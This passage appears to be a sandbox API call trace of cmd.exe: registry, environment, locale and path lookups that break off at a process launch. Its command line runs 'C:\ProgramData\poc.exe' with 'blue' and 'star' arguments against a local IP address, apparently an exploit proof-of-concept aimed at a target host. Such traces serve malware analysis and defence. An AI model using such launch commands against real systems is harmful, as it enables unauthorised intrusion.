0x525620 [0091.089] FreeEnvironmentStringsW (penv=0x524070) returned 1 [0091.089] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2ce81c | out: phkResult=0x2ce81c*=0x68) returned 0x0 [0091.089] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2ce824, lpData=0x2ce828, lpcbData=0x2ce820*=0x1000 | out: lpType=0x2ce824*=0x0, lpData=0x2ce828*=0x0, lpcbData=0x2ce820*=0x1000) returned 0x2 [0091.089] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2ce824, lpData=0x2ce828, lpcbData=0x2ce820*=0x1000 | out: lpType=0x2ce824*=0x4, lpData=0x2ce828*=0x1, lpcbData=0x2ce820*=0x4) returned 0x0 [0091.089] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2ce824, lpData=0x2ce828, lpcbData=0x2ce820*=0x1000 | out: lpType=0x2ce824*=0x0, lpData=0x2ce828*=0x1, lpcbData=0x2ce820*=0x1000) returned 0x2 [0091.089] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2ce824, lpData=0x2ce828, lpcbData=0x2ce820*=0x1000 | out: lpType=0x2ce824*=0x4, lpData=0x2ce828*=0x0, lpcbData=0x2ce820*=0x4) returned 0x0 [0091.089] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2ce824, lpData=0x2ce828, lpcbData=0x2ce820*=0x1000 | out: lpType=0x2ce824*=0x4, lpData=0x2ce828*=0x40, lpcbData=0x2ce820*=0x4) returned 0x0 [0091.089] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2ce824, lpData=0x2ce828, lpcbData=0x2ce820*=0x1000 | out: lpType=0x2ce824*=0x4, lpData=0x2ce828*=0x40, lpcbData=0x2ce820*=0x4) returned 0x0 [0091.089] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2ce824, lpData=0x2ce828, lpcbData=0x2ce820*=0x1000 | out: lpType=0x2ce824*=0x0, lpData=0x2ce828*=0x40, lpcbData=0x2ce820*=0x1000) returned 0x2 [0091.090] RegCloseKey (hKey=0x68) returned 0x0 [0091.090] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2ce81c | out: phkResult=0x2ce81c*=0x68) returned 0x0 [0091.090] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2ce824, lpData=0x2ce828, lpcbData=0x2ce820*=0x1000 | out: lpType=0x2ce824*=0x0, lpData=0x2ce828*=0x40, lpcbData=0x2ce820*=0x1000) returned 0x2 [0091.090] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2ce824, lpData=0x2ce828, lpcbData=0x2ce820*=0x1000 | out: lpType=0x2ce824*=0x4, lpData=0x2ce828*=0x1, lpcbData=0x2ce820*=0x4) returned 0x0 [0091.090] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2ce824, lpData=0x2ce828, lpcbData=0x2ce820*=0x1000 | out: lpType=0x2ce824*=0x0, lpData=0x2ce828*=0x1, lpcbData=0x2ce820*=0x1000) returned 0x2 [0091.090] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2ce824, lpData=0x2ce828, lpcbData=0x2ce820*=0x1000 | out: lpType=0x2ce824*=0x4, lpData=0x2ce828*=0x0, lpcbData=0x2ce820*=0x4) returned 0x0 [0091.090] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2ce824, lpData=0x2ce828, lpcbData=0x2ce820*=0x1000 | out: lpType=0x2ce824*=0x4, lpData=0x2ce828*=0x9, lpcbData=0x2ce820*=0x4) returned 0x0 [0091.090] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2ce824, lpData=0x2ce828, lpcbData=0x2ce820*=0x1000 | out: lpType=0x2ce824*=0x4, lpData=0x2ce828*=0x9, lpcbData=0x2ce820*=0x4) returned 0x0 [0091.090] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2ce824, lpData=0x2ce828, lpcbData=0x2ce820*=0x1000 | out: lpType=0x2ce824*=0x0, lpData=0x2ce828*=0x9, lpcbData=0x2ce820*=0x1000) returned 0x2 [0091.090] RegCloseKey (hKey=0x68) returned 0x0 [0091.090] time (in: timer=0x0 | out: timer=0x0) returned 0x5e1c819d [0091.090] srand (_Seed=0x5e1c819d) [0091.090] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c C:\\ProgramData\\poc.exe blue 192.168.0.171 & C:\\ProgramData\\poc.exe star 192.168.0.171" [0091.090] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c C:\\ProgramData\\poc.exe blue 192.168.0.171 & C:\\ProgramData\\poc.exe star 192.168.0.171" [0091.091] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4aa45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0091.091] GetProcessHeap () returned 0x510000 [0091.091] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x210) returned 0x524070 [0091.091] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x524078, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0091.092] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0091.092] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0091.092] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0091.092] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0091.092] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0091.092] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0091.092] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0091.092] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0091.093] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0091.093] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0091.093] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0091.093] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0091.093] GetProcessHeap () returned 0x510000 [0091.093] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524b48 | out: hHeap=0x510000) returned 1 [0091.093] GetEnvironmentStringsW () returned 0x524288* [0091.093] GetProcessHeap () returned 0x510000 [0091.093] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xae2) returned 0x526be8 [0091.093] FreeEnvironmentStringsW (penv=0x524288) returned 1 [0091.093] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0091.093] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0091.093] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0091.093] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0091.093] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0091.093] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0091.093] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0091.093] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0091.093] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0091.093] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0091.093] GetProcessHeap () returned 0x510000 [0091.093] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x54) returned 0x5276d8 [0091.093] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x2cf5e8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0091.093] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x2cf5e8, lpFilePart=0x2cf5e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cf5e4*="Desktop") returned 0x25 [0091.094] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0091.094] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x2cf364 | out: lpFindFileData=0x2cf364*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x523ef0 [0091.094] FindClose (in: hFindFile=0x523ef0 | out: hFindFile=0x523ef0) returned 1 [0091.094] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x2cf364 | out: lpFindFileData=0x2cf364*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x523ef0 [0091.094] FindClose (in: hFindFile=0x523ef0 | out: hFindFile=0x523ef0) returned 1 [0091.094] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0091.094] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x2cf364 | out: lpFindFileData=0x2cf364*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68549420, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x68549420, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x523ef0 [0091.095] FindClose (in: hFindFile=0x523ef0 | out: hFindFile=0x523ef0) returned 1 [0091.095] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0091.095] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0091.095] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0091.095] GetProcessHeap () returned 0x510000 [0091.095] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x526be8 | out: hHeap=0x510000) returned 1 [0091.095] GetEnvironmentStringsW () returned 0x5260f8* [0091.095] GetProcessHeap () returned 0x510000 [0091.095] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xb36) returned 0x527f38 [0091.095] FreeEnvironmentStringsW (penv=0x5260f8) returned 1 [0091.095] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4aa45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0091.095] GetProcessHeap () returned 0x510000 [0091.095] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5276d8 | out: hHeap=0x510000) returned 1 [0091.095] GetProcessHeap () returned 0x510000 [0091.095] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x400e) returned 0x528a78 [0091.096] GetProcessHeap () returned 0x510000 [0091.096] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xb8) returned 0x524dc8 [0091.096] GetProcessHeap () returned 0x510000 [0091.096] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x528a78 | out: hHeap=0x510000) returned 1 [0091.096] GetConsoleOutputCP () returned 0x1b5 [0091.096] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aa44260 | out: lpCPInfo=0x4aa44260) returned 1 [0091.096] GetUserDefaultLCID () returned 0x409 [0091.097] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4aa44950, cchData=8 | out: lpLCData=":") returned 2 [0091.097] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x2cf728, cchData=128 | out: lpLCData="0") returned 2 [0091.097] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x2cf728, cchData=128 | out: lpLCData="0") returned 2 [0091.097] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x2cf728, cchData=128 | out: lpLCData="1") returned 2 [0091.097] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4aa44940, cchData=8 | out: lpLCData="/") returned 2 [0091.097] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4aa44d80, cchData=32 | out: lpLCData="Mon") returned 4 [0091.097] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4aa44d40, cchData=32 | out: lpLCData="Tue") returned 4 [0091.097] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4aa44d00, cchData=32 | out: lpLCData="Wed") returned 4 [0091.097] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4aa44cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0091.097] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4aa44c80, cchData=32 | out: lpLCData="Fri") returned 4 [0091.097] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4aa44c40, cchData=32 | out: lpLCData="Sat") returned 4 [0091.097] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4aa44c00, cchData=32 | out: lpLCData="Sun") returned 4 [0091.097] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4aa44930, cchData=8 | out: lpLCData=".") returned 2 [0091.097] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4aa44920, cchData=8 | out: lpLCData=",") returned 2 [0091.098] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0091.099] GetProcessHeap () returned 0x510000 [0091.099] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20c) returned 0x524e88 [0091.099] GetConsoleTitleW (in: lpConsoleTitle=0x524e88, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0091.143] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0091.143] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0091.143] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0091.143] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0091.189] GetProcessHeap () returned 0x510000 [0091.189] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x400a) returned 0x528a78 [0091.189] GetProcessHeap () returned 0x510000 [0091.189] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x528a78 | out: hHeap=0x510000) returned 1 [0091.191] _wcsicmp (_String1="C:\\ProgramData\\poc.exe", _String2=")") returned 58 [0091.191] _wcsicmp (_String1="FOR", _String2="C:\\ProgramData\\poc.exe") returned 3 [0091.191] _wcsicmp (_String1="FOR/?", _String2="C:\\ProgramData\\poc.exe") returned 3 [0091.191] _wcsicmp (_String1="IF", _String2="C:\\ProgramData\\poc.exe") returned 6 [0091.191] _wcsicmp (_String1="IF/?", _String2="C:\\ProgramData\\poc.exe") returned 6 [0091.191] _wcsicmp (_String1="REM", _String2="C:\\ProgramData\\poc.exe") returned 15 [0091.191] _wcsicmp (_String1="REM/?", _String2="C:\\ProgramData\\poc.exe") returned 15 [0091.191] GetProcessHeap () returned 0x510000 [0091.191] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x58) returned 0x5250a0 [0091.191] GetProcessHeap () returned 0x510000 [0091.191] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x36) returned 0x525100 [0091.192] GetProcessHeap () returned 0x510000 [0091.192] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x32) returned 0x525140 [0091.192] GetProcessHeap () returned 0x510000 [0091.192] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x58) returned 0x525180 [0091.194] _wcsicmp (_String1="C:\\ProgramData\\poc.exe", _String2=")") returned 58 [0091.194] _wcsicmp (_String1="FOR", _String2="C:\\ProgramData\\poc.exe") returned 3 [0091.194] _wcsicmp (_String1="FOR/?", _String2="C:\\ProgramData\\poc.exe") returned 3 [0091.194] _wcsicmp (_String1="IF", _String2="C:\\ProgramData\\poc.exe") returned 6 [0091.194] _wcsicmp (_String1="IF/?", _String2="C:\\ProgramData\\poc.exe") returned 6 [0091.194] _wcsicmp (_String1="REM", _String2="C:\\ProgramData\\poc.exe") returned 15 [0091.194] _wcsicmp (_String1="REM/?", _String2="C:\\ProgramData\\poc.exe") returned 15 [0091.194] GetProcessHeap () returned 0x510000 [0091.194] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x58) returned 0x5251e0 [0091.194] GetProcessHeap () returned 0x510000 [0091.194] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x36) returned 0x525240 [0091.195] GetProcessHeap () returned 0x510000 [0091.195] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x30) returned 0x525280 [0091.196] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3bc, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0091.196] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0091.196] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0091.196] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x2cf178, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x2cf170, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x2cf170*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0091.196] GetProcessHeap () returned 0x510000 [0091.196] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x210) returned 0x5252b8 [0091.196] GetProcessHeap () returned 0x510000 [0091.196] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x60) returned 0x5254d0 [0091.196] _wcsnicmp (_String1="C:\\P", _String2="cmd ", _MaxCount=0x4) returned -51 [0091.197] GetProcessHeap () returned 0x510000 [0091.197] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x418) returned 0x5107f0 [0091.197] SetErrorMode (uMode=0x0) returned 0x0 [0091.197] SetErrorMode (uMode=0x1) returned 0x0 [0091.197] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\.", nBufferLength=0x208, lpBuffer=0x5107f8, lpFilePart=0x2ceedc | out: lpBuffer="C:\\ProgramData", lpFilePart=0x2ceedc*="ProgramData") returned 0xe [0091.197] SetErrorMode (uMode=0x0) returned 0x1 [0091.197] GetProcessHeap () returned 0x510000 [0091.197] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5107f0, Size=0x36) returned 0x5107f0 [0091.197] GetProcessHeap () returned 0x510000 [0091.197] RtlSizeHeap (HeapHandle=0x510000, Flags=0x0, MemoryPointer=0x5107f0) returned 0x36 [0091.197] NeedCurrentDirectoryForExePathW (ExeName="C:\\ProgramData\\.") returned 1 [0091.197] GetProcessHeap () returned 0x510000 [0091.197] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x2c) returned 0x525538 [0091.197] GetProcessHeap () returned 0x510000 [0091.197] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x4c) returned 0x525570 [0091.197] GetProcessHeap () returned 0x510000 [0091.197] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x525570, Size=0x2c) returned 0x525570 [0091.197] GetProcessHeap () returned 0x510000 [0091.197] RtlSizeHeap (HeapHandle=0x510000, Flags=0x0, MemoryPointer=0x525570) returned 0x2c [0091.197] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0091.197] GetProcessHeap () returned 0x510000 [0091.197] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xe0) returned 0x510830 [0091.201] GetProcessHeap () returned 0x510000 [0091.201] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x510830, Size=0x76) returned 0x510830 [0091.201] GetProcessHeap () returned 0x510000 [0091.201] RtlSizeHeap (HeapHandle=0x510000, Flags=0x0, MemoryPointer=0x510830) returned 0x76 [0091.203] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0091.203] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\poc.exe", fInfoLevelId=0x1, lpFindFileData=0x2cec78, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2cec78) returned 0x5255a8 [0091.203] GetProcessHeap () returned 0x510000 [0091.203] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x5255e8 [0091.203] FindClose (in: hFindFile=0x5255a8 | out: hFindFile=0x5255a8) returned 1 [0091.203] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0091.203] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0091.204] GetConsoleTitleW (in: lpConsoleTitle=0x2cf150, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0091.204] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cefd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cf0a0 | out: lpAttributeList=0x2cefd8, lpSize=0x2cf0a0) returned 1 [0091.204] UpdateProcThreadAttribute (in: lpAttributeList=0x2cefd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cf098, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cefd8, lpPreviousValue=0x0) returned 1 [0091.204] GetStartupInfoW (in: lpStartupInfo=0x2cef94 | out: lpStartupInfo=0x2cef94*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0091.204] GetProcessHeap () returned 0x510000 [0091.204] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x18) returned 0x5255a8 [0091.204] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0091.204] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0091.204] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0091.204] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0091.204] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0091.204] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0091.204] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0091.204] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0091.204] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0091.204] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0091.204] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0091.204] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0091.204] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0091.204] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0091.204] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0091.204] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0091.204] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0091.204] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0091.204] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0091.204] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0091.204] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0091.204] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0091.205] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0091.205] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0091.205] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0091.205] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0091.205] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0091.205] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0091.205] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0091.205] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0091.205] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0091.205] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0091.205] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0091.205] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0091.205] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0091.205] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0091.205] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0091.205] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0091.205] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0091.205] GetProcessHeap () returned 0x510000 [0091.205] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5255a8 | out: hHeap=0x510000) returned 1 [0091.205] GetProcessHeap () returned 0x510000 [0091.205] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xa) returned 0x51ffc8 [0091.205] lstrcmpW (lpString1="\\poc.exe", lpString2="\\XCOPY.EXE") returned -1 [0091.206] CreateProcessW (in: 